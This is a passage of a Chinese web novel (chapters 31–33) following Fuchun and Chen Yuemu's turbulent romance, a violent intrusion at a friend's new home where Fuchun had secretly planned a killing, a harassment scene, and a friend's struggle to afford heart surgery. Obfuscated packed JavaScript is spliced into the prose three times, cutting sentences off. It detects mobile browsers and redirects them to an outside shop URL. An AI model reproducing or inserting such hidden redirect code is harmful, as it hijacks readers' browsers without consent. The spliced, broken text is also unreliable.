福春的每一寸皮肤他都了若指掌,她的身上已经不可避免留下他的痕迹。陈悦目光是靠呼吸就能轻易撩动每一处按钮,找准位置,不需要很用力,只要轻轻一挑,就像开关灯那样简单。 “好,我不碰你。” 31. 搬家 这大概是世界上最奇怪的事,就像在煤气炉边劈柴生火。 陈悦目时常会和福春玩无聊的小游戏,比如在即将满溢的杯子里继续倒水看谁先打破张力。 他们各自控制开关,手指要足够敏感把控旋钮角度以控制水流和时间。每轮到一回都刺激得福春惊叫连连。 这时候福春脸蛋红红的很可爱,看她高兴的样子陈悦目会忍不住靠上去亲吻。 “走开,别碰我。” 福春只专注游戏,不准任何人影响她。 在水面破开的那一刹,她啊地叫了一声。 是啊还是爱? 陈悦目没听清还想再听一次:“你是不是说爱我?” 福春累倒在床上喘气,懵懵地又啊了一声。 “你刚才说爱我了是不是?”陈悦目问,“是不是?!” “没有啊?” “我听到了。” “你听错了。” “你明明说了我爱你!” “这个时候说我爱你我是脑子被驴踢了嘛?!” “你!……” 宾馆的窗帘很厚,一旦关上灯屋子就会像个死闷的黑盒,只有边角一线光送进稀薄的空气。 福春坐在黑暗里感觉到一股劲摔在床上,呼吸声时重时轻,她伸手想再打开灯。 “不要。”陈悦目嗓音嘶哑,“别。” 她努力靠着那点光看清陈悦目的轮廓,对面像个虾子蜷缩在大床上背对着她。 “你还好吗?” 福春伸手摸上去,在即将触碰到脸颊时陈悦目率先开口:“别碰我。” 福春收回手穿衣服走人。出门的时候她回头又望一眼床上,陈悦目躺在那跟死了一样。 * 这次之后他大病一场,连续十天高烧反反复复。洪婶来看他的时候都吓坏了,人烧得面黄肌瘦像风干的腊鸭。 陈悦目躺在床上绝望。他唯一能扯住福春的筹码只有性,如今福春连这个也不要了,自己身上再没有任何价值能留住她。 他一直在想,想得脑子都烧起来了也想不通到底福春为什么不爱他。 “你嘴巴又毒心眼又坏,我疯了吗喜欢你?” 耳边出现福春的骂声,陈悦目为自己的幻听苦笑。 “笑个屁。” “抱着我。” “神经病。” 陈悦目讨厌自己在梦里也要跟她说软话:“求你,抱抱我。” 耳边竟然真的渐渐有了心跳声。 “死骗子谁准你出现的?” “你以为我想来?Elena叫我来看看你。” “你爱我吗?” “不爱。” “死骗子,骗我。” “没骗你,我说了我不骗你。” 陈悦目脑袋蹭蹭待在一个舒服的位置,喃喃:“我说,骗我。” “……这个不能骗。” 他失望透顶,就连在梦中也听不到福春一句我爱你。陈悦目难过得啜泣,泪一滴一滴濡湿衣服。 “丢不丢人?这么大还哭鼻子。” “你少管。” “你到底爱我什么?明明还能找到条件更好的。” “爱不是讲条件的。” “大道理一套套。” “但你还是不爱我。” “你这人爱得乱七八糟。” 陈悦目问她:“当初为什么找我?” “给钱给饭,人帅活好还是个处男。” 他躺在福春怀里又哭又笑,最后迷迷糊糊睡了过去。 第二天陈悦目烧退起床,发现身上衣服换了一件。洪婶正好开门进来,他起身走到厨房问她:“衣服是您给我换的吗?” 洪婶摇头,“您说衣服自己换我就没动了,太太昨天出门一直到晚上才回来,可能来看过您。” 陈悦目点点头,余光瞥见冰箱上反过来贴的猫头鹰。 洪婶做事很细,每次来的时候会把干完的事写在上面,为了显眼还会压在猫头鹰下然后再把它们正放来确保陈悦目一定看见。这习惯从没变过也从没漏做。 陈悦目慢慢走去把压在下面的便利贴摘掉。 知道他喜欢猫头鹰冰箱贴的人不多,知道他喜欢反着贴的更是寥寥无几。 病好之后,陈悦目又去见了福春。 “你怎么又来了?” “正常消费,你管我去哪?” “想喝点什么,酸梅汤、果汁还是柠檬水?”福春把iPad拿出来给他点单,“要帮你拿点水果吗?” 陈悦目点了个菌汤锅和一碟肥牛,点完把福春叫来添水。 “等会有空吗?” “没空,走开要扣钱的。” 他破天荒没多纠缠,等菜上齐只坐了半小时便离开。 第二天福春下班看见他的车停在广场路边,陈悦目也看见她,下车朝她走来。他病后面容还有些憔悴,加之皮肤又白立在那薄瘦的裹一身黑,颇让人我见犹怜舍不得骂。 福春打着哈欠走过去和颜悦色问:“找我什么事?” 陈悦目离她三步远的距离停下,双手插在大衣口袋中思忖片刻说道:“我生病了。” “啊,好点了吗?” “嗯。” “就告诉我这个?” “嗯。” “快回去休息。” 福春把他推走,陈悦目又转回身问她:“我的衣服是你换的吗?” 福春愣了愣,问:“什么衣服?” “没什么。” 他转身离开,被福春追上去叫住。 “陈悦目!” 两人面对面,福春说:“最近很忙不要老是找我。” 陈悦目还是直挺挺站那,“好。” 福春清了清嗓子又继续道:“等忙完这阵咱俩再找个时间掰扯清楚。” “有什么好掰扯的,要不就结婚要不一拍两散。” “那你要我现在说清楚吗?” 陈悦目不吱声,过一会又说:“先当着炮/友不行吗?” “我一炮轰死你。” “那你还见不见我了?” “不说了让你不要找我。” “你说不要老是找你。” 福春啧一声,敷衍他:“偶尔找一两次也行,就当招待朋友了。“ “臭没良心的谁愿意跟你当朋友。” “不当拉倒!”她抬脚要走。 “喂!” 十字路口换了绿灯滴答滴答响个不停,薄雾继续前行让清亮的阳光重新照在马路上给初冬带来一丝暖意。 陈悦目不着痕迹往旁边跨了一小步,撇过头随意嗯了一声,脚下影子和福春的紧挨着。 * 在阮晓柔搬家的时候,北江下了初冬第一场雪。 “早不下晚不下,偏偏这时候下。”花康宇抬上两个行李箱放在门口气喘吁吁。 阮晓柔抱着孩子在屋里,见她上来赶紧拉着人进屋,“先喘口气。” “大姐呢?” “她在那头看着呢,到时和你老公一起过来。” 今天所有人出动帮忙搬家,连陈悦目也开车过来拉东西。 楼下福春和搬家队的人嚷嚷起来,骂架声在楼上听得一清二楚。 “我去看看。” “我下去看吧。”花康宇又吭哧吭哧跑下楼。 家具在骂骂咧咧中一件件搬进来,空荡的家逐渐被填满,阮晓柔坐在纸箱上抱着孩子环顾四周感叹:“要过好日子了。” 大伙七手八脚把东西拆封一件件放好,最后福春和晓柔老公抬着纸箱上来。大家忙完了围在茶几边准备吃饭,门外突然响起急促敲门声。 “谁呀?”刘芯探头问。 外面不说话只是一个劲敲门。小区楼下有门铃,一般都在下面按门铃上来。阮晓柔家还没来得及装可视门铃也看不到外面究竟是谁。 “是陈教授吧?”晓柔老公走过去开门。 门刚开了一条缝一股恶臭扑面钻入。男人察觉不对立刻关上,没想到外面更快一步踹门进屋。 “阮晓柔!” 苦瓜脸不知怎么又找到这里,门外被他拿粪水和垃圾泼了一地,他举起一把生锈车锁胡乱挥舞,“阮晓柔你还有脸搬家,我来给你送乔迁礼,我让你记一辈子!” 他还是那副臭吊样,叫人越看越恶心,即使不抓着车锁当武器也没人愿意靠近。 阮晓柔看见人眼泪哗地往下流,人几乎瘫在花康宇身上,连孩子也差点抱不住。 搬家的事她格外小心,除了来帮忙的知道时间地址其余人一概没透露,就是这样小心翼翼藏了个把月居然还是被找上门。 “你再不走我报警了!”花康宇最先反应,拍拍刘芯示意她先带小孩进屋。 晓柔老公个高劲大一把将人推走,苦瓜脸抢先一步举起锁头照着脑瓜给他来了一下砸得头破血流。 “哎你干什么!” 屋内乱成一团,苦瓜脸见他们不经打瞬间涨起气焰,拿着车锁朝阮晓柔和她老公又准备砸第二下。 福春冲进厨房拿菜刀冲出来砍人。 “臭婊子!你好意思替她出头?也不撒泡尿照照你是什么贱货!” 她不给那窝囊废说话的机会菜刀直接照头砍,苦瓜脸有了上次的经验也学精了用车锁挡住头挑衅:“你们怎么不问问我是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一条带铁钉的木头棍子丢在地上。众人一愣,望向门口静静退开。福春抬头,见陈悦目脸色沉沉朝她走来。 “汤春福!你能耐了,现在居然敢杀人!” 在场几人一惊。 阮晓柔住的这栋位于小区上坡,上来时需要走一段阶梯。阶梯旁边是垃圾站,平时周围几栋的居民都把垃圾扔这里,包括装修拆下来的废材。 下雪天,白雪把楼梯周围盖了厚厚一层,一不留神就会打滑,上下楼必须扶着把手才安全。 昨天福春过来时就看中这块是个杀人的好地方,她准备在这杀掉苦瓜脸。 旧小区四周没有监控,垃圾站周围堆满了带铁钉的木头,她随手抽了一根藏在楼下,打算把苦瓜脸叫过来然后一棍敲死再伪装成意外。 她在电话里故意说漏嘴告诉对方地址,万事俱备剩下就等他自投罗网。 可惜福春算漏了一点。 “春儿,在这瞅什么呢?”晓柔老公拍拍她肩膀。 “堆这的废料全没啦?!” “嗯,我看那些棱棱角角的太危险,昨天联系物业让他们赶紧清走了。这大下雪天有人摔倒怎么办?”男人憨憨一笑,招呼她赶紧回家,“走,回屋里暖和暖和。” …… “我要不把你藏的这玩意儿拿走,你是不是准备给人来个脑袋开花!!”陈悦目怒吼质问。 他帮着搬东西的时候就看见福春鬼鬼祟祟在楼门口藏了这根棍。当时还以为是要对付他的,于是她前脚走他后脚就把木棍收了打算找她算账,等拉着东西再回来见到苦瓜脸他马上明白是怎么回事。 陈悦目手一揽把福春屁股撅起来当着大伙的面开始咣咣揍。 “还敢不敢了?” 众人一语不发。 福春黑眸圆睁,回头看一眼又挣扎两下不动,在屁股上挨了第三下之后忽然开始嗷嗷大哭。 “问你以后还敢不敢了!” 哭声震天动地。 “知道错没有!?” 啪啪啪。 “说大点声。” 福春鼻涕一把泪一把在那抽抽:“知道错了!” 陈悦目没打算放过她:“错哪了!” 福春大声说:“再也不杀人了!” 陈悦目收回手把人搂在怀里,扭头对阮晓柔保证:“这事我会摆平,如果不放心我再找一处房子给你们。” 误会说开,福春还委屈巴巴窝在陈悦目那儿嚎个没完。哼哼唧唧哭一阵又歪脑袋透过指头缝瞄一眼旁边,见阮晓柔她们也正看着她。 “春儿。” 福春又缩回去继续哇哇哭。 陈悦目哄孩子一样一会亲亲脑袋一会拍拍屁股,哭到晚上要上班了才牵着她出门下楼。 32. 蜀葵花 “给我擦点药。”揍人的时候陈悦目颧骨和脖子擦破点皮,他买来碘伏和创口贴扔福春腿上。 福春乖乖照做,大概是哭过之后脑子短路,她打开袋子从里面拿出碘酒瓶子直接往棉签上倒,倒的时候还打了个嗝,手一抖把碘伏泼出一大片洒陈悦目裤子上。 “干吗呢?” “碘酒倒多了。” 陈悦目静静瞅着她这副傻样,“不知道把棉签往里蘸吗?” “忘了。”福春反应过来又问,“那咋办?” “继续。” 她听着陈悦目一个口令一个动作。气息热热的呼在皮肤上,隔在视线之间起了一层雾。福春一阵一阵看他,热得脸蛋红扑扑。 “疼。” “那我轻点。” “挨我这么近干吗?” 福春把脸挪开。 陈悦目又贴上去。 “嫌我挨得近你还靠上来?”福春问。 “想亲你,让我亲吗?”不等她回答陈悦目退开,从塑料袋里拿出创口贴对着镜子贴上若无其事发动车。 正值晚高峰,商场外的辅路上停满出租车。 福春下车前扭头问他:“你今天还上去吃饭吗?” 陈悦目看向窗外穿梭人潮漫不经心:“今天不去,要赶稿。” “你可以来这写。”福春说完立马改口,“早点回去。” 她开门下车,已经走出去两步又折回去敲车窗,“裤子脱下来我给你洗。” “你让我光屁股回家?” “在车里怕啥?” “从车下来到家里的路你打算让我怎么走?” 福春反应过来,抬手给了自己一嘴巴。 陈悦目笑笑问她:“明早几点下班?” “九点,咋了?” “明早来接你,能来吗?” “腿又不长我身上。” “到底让不让我来?”陈悦目问。 福春没搭理转身就跑,到第二天早上下班,她一出商场发现对方站在外面。 陈悦目远远走来,手里还拎着一个保温袋,走到近前他把袋子给她,“给你带的。” “是什么?” 保温袋打开铺面一股热气腾腾的香味。 “炸弹。” 福春把脑袋伸进去深深嗅一口问:“五星级酒店的炸弹挺贵的吧?” “你喜欢就行。” 陈悦目的车没停在这,走过去拿车比福春走回宿舍还麻烦。他在手机上给福春叫了辆车,两人绕一段路走到商场后面等。 “还疼吗?” 福春问:“什么疼?” “问你屁股还疼吗?” 她拿袋子挡住屁股。 陈悦目往后仰了仰瞧一眼,“真打疼了?” 福春踹他一脚,噌地脸红。五分钟的路走了好久,到上车的地方,陈悦目又问她:“明天还能来找你吗?” 福春装听不见。她不回答陈悦目也不急,慢慢吞吞从口袋掏出小橘子剥开。 柑橘香一缕一缕射入微凉空气中悠悠飘散,香味浓郁又温柔地绕在福春周围。等到车来,陈悦目把送福春上车顺手将剥开的小橘子放进她手心。 福春一直盯着他,车门关上就隔着车窗看,一直看到陈悦目又靠上来敲窗户。 车窗降下,他弯腰与福春对视,忽然伸出手揽住她的后脑勺飞快在唇瓣上吻了一下。 “到了给我信息。” 福春呆愣愣。 车快开到宿舍,她忽然指着窗外对司机说:“我没让他亲我。” * 刘芯一夜没睡,翻来覆去熬到天亮。手术的事不能再拖,可她到现在还没凑齐手术费。 迫于无奈她只好腆着脸去再求一次父母。 “水果别忘了。”阮晓柔把买的草莓车厘子装袋提给她。 刘芯打开瞅一眼袋子对她说:“我们留着自己吃吧!” “算我给叔叔阿姨一点心意,你可别再带回来。”阮晓柔要下店里盘账,只能给刘芯叫了车送到地方,临走前又一次叮嘱,“别带回来噢!” 刘芯点点头,坐进车内。 去的路上她看着窗外把要说的话又在脑子过一遍。其实做不做手术真没什么,刘芯觉得再伟大的生命结束也不过是化为宇宙的一粒尘埃。 可是有人舍不得,她只能逼着自己再努力活一把。 刘芯父母的住处是北江一个地段很好的小区,旁边就有新建的医院,平时头疼脑热走个路就能过去。 她站在家门外盯着鞋柜看了好几眼。过年时刘芯买了一双粉红色拖鞋摆在这,好久没来拖鞋已经不知道丢去哪了。她弯下腰从里面拿了一双小小的塑料拖鞋挤进去。 “爸妈,是我。” “进来吧。” 母亲去厨房端出来一盆水果放在她面前,“吃草莓。” 刘芯把塑料袋放茶几上拿起一颗草莓捏在手中,满脑子都在想怎么开口绕到手术的事上…… 福春下午接到消息赶来,一进门就听见刘芯那漏气的嗓子说气人话:“我就是不想手术了。” 阮晓柔在店里顾不过来,听见刘芯说要走第一时间打电话把姐妹几个摇来劝她。 福春进到屋里,见人正坐在床边边收拾行李边嘟囔:“我这病多锻炼锻炼就好了。” “姐,说什么呢?”福春走过去踢她,“你要走啊?”刘芯挪开,她顺势在她身旁坐下。 “我来太久了,打扰柔柔。” “你帮柔柔带孩子怎么算打扰?”花康宇在旁边劝。 刘芯两手捏着行李袋嗫嚅:“在别人家住久了不礼貌。” “都是自己人,不差这一两天。” “我也不能待一辈子。” “不待一辈子,咱做完手术就走。”福春弯腰把衣服从行李袋里拿出去,她拿一件刘芯就放一件。 “我不做手术了,吃药控制也挺好。” “医生说的话你当耳旁风呀?” “医生说的话就是放屁。” 福春坐直,严肃问:“谁告诉你的?” 刘芯不回答又开始车轱辘话:“我不做手术了,我要回家锻炼身体。” 福春越过她目光看向另一边,花康宇无奈道:“她上午去找她爸妈了。” “手术的钱没要到?” 刘芯默然。 要钱的事刚起个头,刘芯她爸就翻脸摔了茶杯,“钱钱钱,就知道钱!” “每回来都是为了要钱。你想想你从小到大花了我们多少钱!” 吼声回荡在屋中,好像拳头打在刘芯脸上让她火辣辣疼。她竭力张口解释:“我,我不是,是,医生,医生说……” “医生医生,医生说的她妈就是放屁!这么大人一点判断力都没有就知道听医生说。”刘父指着她教训,“你弟小时候发高烧,医生当时还让我们赶紧签字手术。那时我们没钱啊,钱都给你治病了,硬是拉着他从医院回来,都准备买棺材了,结果你看——” 男人一拍桌子声如洪钟:“你看你弟现在多出息!” 汗水和泪混在刘芯鼻尖上落下,一滴一滴打湿裤子。她假装擦汗,悄悄把眼泪抹掉。来之前刘芯想了很多,可现实就像一个巨人,随意一脚就踢翻她精心铸造的种种建设。 母亲抽了张纸递给她,“行了行了,你的病都是瞎想想出来的,好好锻炼身体素质好了就都好了。” “你也别怪我们不管你。你年纪这么大也该赶紧结婚,我一朋友他儿子刚离婚带个小孩,有钱!我看人不错你见不见?”父亲掏出手机开始联系。 刘芯已经顾不得钱不钱,听到父母这样说她吓得抬脚要跑。 “我,我再想想,再想……” “想什么想?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430539|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿的拖鞋不合脚,她站起来的时候被拌了一下,脚下踉跄三四步以一种极滑稽的跪趴姿势摔在门口。 弟弟开门进屋站在那笑:“姐,刚到家就带这么大礼呀!” 身后也笑了两声。 刘芯爬起来,抬头,见母亲从茶几上提起她带来的那袋子水果还给她:“你自己拿回去吃。” 她伸过去接,摊开手掌,一颗草莓在她手心烂得稀碎。 刘芯绝望了。 “绝绝绝,绝个屁!你一天绝望三百次。要不到就要不到。”福春拍着自己嫩嫩的胸脯保证,“这钱我出。手术照做,咱明天就去找医生。” “我不想治了,小熙。” “听话,把病治好我们再去一次海边,这次让你下水。”她哄着刘芯,“手术的钱我早凑齐了,咱们有钱治病。” 花康宇接话:“我这也有点,我们一起出钱。” “我不想跟人要钱,像个乞丐。”刘芯捂住脸,“活着干嘛?活着也不值钱,世上不缺我一条贱命,死了还能省点粮食。” “干嘛不活?别人都活着凭什么你不活?你就要活着,就要碍眼,让他们都气死。” “我难受,我太难受了。”她说,“活着太难受了。” 吃不完的药,看不完的病,半死不死永远提心吊胆。不仅自己受折磨连身边的人也一起受折磨。刘芯觉得自己每天一睁眼就欠了别人,就像那句电影里的话:“生而为人,我很抱歉。” “我就说那些日本破电影要少看,犄角旮旯里长大的玩意儿瞅电线杆子都带拐,肠子抻开不知道能绕地球几圈。” 花康宇一边给刘芯顺气一边怼她:“我说春儿,咱说句良心话。我们仨看的加起来都没你看得多!” 福春摸摸鼻子补一句:“毛片除外。” “臭流氓你还好意思说。” 刘芯坐中间听她们一唱一和想笑又怕被发现,还是花康宇眼尖拍她的背问:“姐,不难受吧?不难受咱就留下来做完手术再走。” “就是。”福春站起来站在她身边,抬手摸摸她的头缓缓说,“不难受,我陪你。” 刘芯已经知足,有她在身边就够了。她什么都不求,只希望老天能让她们姐妹几个永远在一起。她拿手上的衣服捂住脸。 “流猫尿了?” “我瞅瞅。” “给你拿碗接着晚上炒菜用。” “总是哭眼泪还能咸吗?” 刘芯气得锤她们,大哭:“太气人了,我要做手术把病治好再跟你们算账!” 等阮晓柔抱着孩子急急忙忙赶回家时看见她们三个正有说有笑挤在厨房擀面条。 晚上福春请假没去上班,四姐妹又窝在一张床上睡觉。 “咱们就永远住一块吧!”阮晓柔躺在最里面哄宝宝睡觉。 “行啊。”花康宇说,“等以后赚钱了买个大别墅,我们几个就住一起,天天像这样躺一起说话。” 刘芯笑道:“你不结婚了?还有晓柔老公怎么办?” “一起住呗。”福春一边看手机一边回,“做张炕,全睡一起。” 花康宇伸脚踢她。两人隔着刘芯打起来,打完又拉着人评理。 阮晓柔侧身比个嘘的手势让她们别吵醒宝宝。 福春对着花康宇吐舌头做鬼脸,一转身缩进被窝又开始玩手机。 “小熙,睡觉吧。” “嗯,我看一会再睡。” “看什么呢?”刘芯靠在她肩膀上扳过手机。 界面是微信朋友圈,陈悦目的微信名就是本名。 “我就随便看看。” 阳台那朵蜀葵花还是福春拍的,陈悦目突然发了这条朋友圈。 福春说:“我想那朵花了。” 刘芯钻进自己被窝用被子蒙住头。福春以为她闹着玩,隔着被子挠痒痒。刘芯一动不动,因为她又不想活了。 33. 回家 手术的事迫在眉睫。福春趁刘芯抽血的时候把姐几个叫来商量。 按医生的说法押金至少准备五万,福春在海底捞干了小半年攒下三万多,花康宇和阮晓柔合起来能凑个一万,还剩下一万…… “等这个月我发了工资就能凑上。”福春拿手机又算了一遍,“到时报销完能退多少还不一定,你和柔柔的钱我会尽快凑齐还给你们。” “我出那点谈不上还不还的。”花康宇说,“你把钱给柔柔,还有剩下那一万我来想办法。” “你现在的任务是考大学。”阮晓柔拿掉脸上的小手,“我开店比你挣钱多。”怀中女儿咿咿呀呀表示赞同。 “别争了,说好了我给,实在不行我去借点。”福春说。 “借?去哪借?”花康宇对借字异常敏感,“我跟你说可不兴乱借,借钱就是无底洞,特别是网贷!那都是魔鬼,吃人不吐骨头的。” “哎行行行,我不借了。”福春赶紧找补,“我就是说个想法,没真打算借。” “想法也不行!”花康宇板起脸严厉斥责,“多少万劫不复都是从一个念头开始。” “好了好了。”阮晓柔打断她们,指指前方抽血室,“姐过来了。” 三人走过去扶着她坐下。等中午的时候,阮晓柔和花康宇先离开,福春陪刘芯等结果复诊。 “姐,这家的肉饼可好吃了,你尝尝。” 刘芯郁郁寡欢,这几天都装没事人似的,但是装得再像也瞒不过福春。 “又有心事?说说呗。”福春把肉饼拿回去自己啃一口。 两人坐在医院走道旁的长椅上。 “咱们四个在一起多长时间了?”刘芯问。 “我跟你是小学认识的。”福春掰手指想,“然后是晓柔,小语跟我从小也认识,一阵熟一阵不熟的。这认识能有二十年了吧?” 刘芯听后神情更加难过。 “你哭啥啊,姐。” 刘芯佝着背看向虚空叹气:“唉,认识你二十多年还不如认识你两年的人。” 福春明白她是在说前两天的事。后来大家各自忙碌这茬就被带过了,没想到刘芯一直记着。她心脏不好偏偏心事还重,好多事别人不放心上她却总是惦记,一来二去成了她自己的心病。 “我都忘了你还瞎想什么?” 刘芯不能原谅自己怀疑过福春。 “我那时不知道怎么想的,就,怎么就……怀疑你了呢?” “确实是我没说清楚。”福春挠挠头解释,“你们那样想很正常。” “那陈悦目怎么就不这么想?” “他看着了呀!”福春扬起声调,“那死狗以为我藏棍是为了对付他呢!阴沟里长大的看谁都暗几度。” 这解释没法让刘芯释怀,怎么会是他,怎么会是一个男人了解小熙。她不能原谅自己的不信任。 福春望着她无可奈何。 “真巧,又遇见你了。”劈头落下一句话打断二人,夏良协凭空冒出来站她们眼前。 他今早来医院体检,本来验完打算直接走的,刚巧碰上一起来的老教授低血糖索性就陪着在这一块吃了早餐。 “行善积德会有福报,这句话我是信了。”他看着福春说。 “怎么老在医院遇见你?” “缘分啊。” 福春扶起来刘芯要走,夏良协跟在旁边。 “怎么不回我微信?” “你微信发表情包我怎么回?”福春说。 “可爱吗?我跟学生收的。我说这是作业,完成得好期末加十分。你帮我看看可以给谁加分。” 不同于陈悦目的冷淡,夏良协在学校那叫一个春风化雨和蔼可亲,是系里的人气教师。 “没上过大学,不懂。”福春敷衍。 夏良协板起脸教育她:“福春,这样妄自菲薄是不对的。每个人都有自己的闪光点,你要自信。” 福春把刘芯安置在旁边长凳,然后拉住他去旁边说话:“走咱俩聊聊。” 夏良协求之不得。 “要跟我说什么小秘密,我保证不告诉陈悦目。” “你暗恋陈悦目就找他去,总往我面前凑什么?” “看来你对我有点误会。”夏良协上前靠近,步入安全距离之内,“我百分之百喜欢女人。”他撩起福春一缕头发搓了搓又站直,“小不点,你这样很伤我的心。” 福春最不吃他这套,从来只有她跟别人兜圈子没有别人对她耍心眼的份。要不服就像陈悦目那样跟她过两手来个痛快利落。 “你有话直说,装模作样在我周围打转可什么都捞不到。” 夏良协收起笑意,一改往日温和的目光露出贪婪色欲。他伸手夹住福春耳垂揉捏,声音轻佻:“想睡你,答应吗?” 福春摇头:“不行,你出现的不是时候。我现在对睡觉的事没兴趣。” “是没兴趣还是就认准了一个人?陈悦目那个小比崽子还没玩够?他以前的狼狈样你是没见过,保准让人幻灭。你这么年轻应该多睡几个男人,别在一棵树上吊死。” “我怎么就非得挂树上呢?”福春觉得好笑。 夏良协也不客气:“你是菟丝花,要缠在树上才能活。”他摊开手自信道,“我这棵树比陈悦目粗多了,又粗又硬。” 文化人说起糙话可以比三伏天下拉的稀都恶心。 福春又不是泌尿科才懒得管他硬不硬,“要为了这事我劝你赶紧撤,惹烦了我保准让你比陈悦目还狼狈。” 她转身要走被夏良协从身后揽住肩。 “你不知道你有多勾人吧?”身后的人嘴唇贴在她耳边一口咬住,“我从第一眼见你就在想怎么艹死你。”他一边说一边埋首于福春颈间像饿狼舔肉般贪婪急迫,“你这副身子就是为男人而生的,应该时时刻刻被绑在床上狠狠……” 夏良协骚话说一半突然被人揪住头发狠狠往后拽,还不等他反应,脸上便连吃了好几记铁拳。他捂脸哀嚎肚子又被猛踹几脚,对方招招狠辣把他往死里揍。 陈悦目揍不过瘾,又揪住他的领子提起来要往树上撞,福春赶紧扑上去拦住。 “行了行了,要打死人了。” “人渣死不足惜。” “傻呀,要打死他也别让人瞅见。” 医院保安冲上来拉架。 夏良协鼻青脸肿歪在椅子上,根本说不出话。 “赶紧的进去检查检查出毛病没有。”福春对他说。 万幸这是医院,夏良协被保安急急忙忙扶进去包扎伤口,福春趁乱拉着刘芯和陈悦目逃出来。 “你怎么也来了?” 陈悦目白她一眼,“我有眼线。” “什么表情,还敢跟我甩脸子?人是不是你揍的?” “是我揍的怎么了,我还嫌揍少了,拉着我干吗?”陈悦目现在揍人揍出瘾来了,能用拳头解决的绝不费事张嘴。 “我不拉你你就等着吃牢饭吧。” “我借他十个胆他也不敢拿我怎么样。” “对对,你爸是他老师,狗仗人势你真行。” “福春你不用在这挖苦我,是他自己做了亏心事才不敢声张。”陈悦目指向身后,“他带过来做人流的女人不知道有多少,消息走漏一个风声不对,那混账比我先完蛋。你少跟他来往!” “你们为人师表的可真行。”刘芯不咸不淡插话。 陈悦目立刻淡定反击:“看不惯你自己收拾,别躲在背后煽风点火。” “哎,陈悦目!”福春喝他。 陈悦目压下火气,拉拉她袖子放软态度:“走,送你上班。” 这里离福春的海底捞距离不远但是路上红绿灯多,开车过去至少半小时,遇到晚高峰时间只多不少。刘芯怕耽误福春工作自己先坐公交回家,福春则由陈悦目开车送过去。 到了商场,陈悦目没把车停在路边而是拐进地下停车场然后和福春一起上楼。 “你要来吃饭啊?” “嗯,让我来吗?” 自那天晓柔家的风波后两人就处在粘不拉几的状态。 陈悦目什么想法是司马昭之心,至于福春——对他的态度说讨厌也不是,说喜欢也不承认,提起陈悦目就骂两嘴,骂完又傻笑又发疯,最后满腔热血去蚂蚁农场揍一顿他的小鸡才算收尾。 “我坐一会就走。”陈悦目照例点个锅坐那稳如泰山。 “天天来我同事都认识你了。” “那就直说我是你男朋友。” “臭不要脸。”福春骂他一句转头小碎步跑走,等到后半夜陈悦目撑桌上打盹,她过来把他叫醒,“回家睡去。” “再坐一会,等你下班。” “别等了,我下班就回宿舍睡觉了。” “我送你回宿舍。” “你明早再来,现在回去还能睡会。” 从这开车回去不到半个小时,海底捞服务再周到也不如家里睡得舒服。福春坚持赶他回去,陈悦目当打情骂俏喜不自禁,临走的时候还再三提醒她:“下班从正门走,我在那等你。” 福春才不理他,她愿意从哪个门走就从哪个门走。 一大早下班,她特意从后面员工通道走出商场。人行道上停满电动车,福春走了几步嫌弃道窄又转身绕去正门。 早高峰时段广场周围行人匆匆,她站定看一眼四周生气踢了一脚跟前落叶。 “还说等我呢,睡得跟头猪似的吧!” 福春顺着路走回宿舍,心里愈加烦躁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈悦目意犹未尽又要去吻,贴着她的唇温存索求:“跟我回去。回家来,你的东西不要了吗?” “放在你那我放心。” “为什么不回来?屋子嫌小我们可以换大房子,能看市中心夜景的地方怎么样?” 福春也不知道,她脑子晕乎乎就想睡觉,应付他:“你让我想想,想一想……” 想着想着周围景色渐渐变了,街道花花绿绿变成巨大卡通。福春觉得头疼,伸手揉揉脑袋不小心被扎了一下。 “什么玩意儿?” 她冲到对面大楼,玻璃上映照出她古怪的模样。 身后小孩拽着气球冲她大笑:“哈哈哈,你脑袋长个仙人球。” 福春冲他做鬼脸:“你想要还没有呢!” 路过的行人侧目对她指指点点,福春不高兴吼他们:“看什么看,没见过仙人球啊!” “没见过。” 她扭头,看见陈悦目歪头好奇看着自己。 “好可爱啊,怎么长出来的?” 福春指着自己脑袋问:“你不害怕?” “为什么害怕?” “他们都害怕。” “那是他们不懂。” “你懂?” “嗯,只有我懂你。”陈悦目伸手邀请,“可以请你来我家吗?” 福春蹦蹦跳跳跟他上车,陈悦目还贴心为她打开顶窗,这样就不怕把仙人球压着。 福春傻乐。 “哈哈……”她从梦中笑醒。 窗外日落照在床铺,她撑起来茫然,忘记自己是怎么回宿舍的。 梦里的快乐还残留着,良久,她摸着阳光一角说:“我又找到好朋友了。” 一滴泪落在黄昏上,福春喃喃:“可我还是最爱你。” * 陈悦目下了课打开手机发现福春给他打了一通电话,回拨过去时那边无人接听,他便直接开车去海底捞找人。 今晚商场过了九点依旧人山人海。他站在外面张望一阵始终见不到福春的身影。 “她不干了,昨天就交接了。” 得到回答陈悦目调头又去了一趟阮晓柔家结果扑空。 冷锋过境气温骤降,夜路上飘起小雨,车流在反光路面上缓缓汇聚。 他回到家心神恍惚,一个人呆呆坐在床边任由黏湿阴冷钻进骨头缝。雨淅淅沥沥在下,雨水顺着管道嘀嗒滑落,声音蔓延至整间屋子甚至盖过外面的声音。 万年没用的门铃骤然响起伴随一阵急促拍门声。 陈悦目回神,缓缓走去。 今晚的雨不算大但是让北江散满水汽。陈悦目打开门,一团湿乎乎的热气迎面袭来。雨水从发梢落下点在福春睫毛。她眨眨眼,抖开一身水,水珠甩了陈悦目一脸。 多少万劫不复都是从一个念头开始。 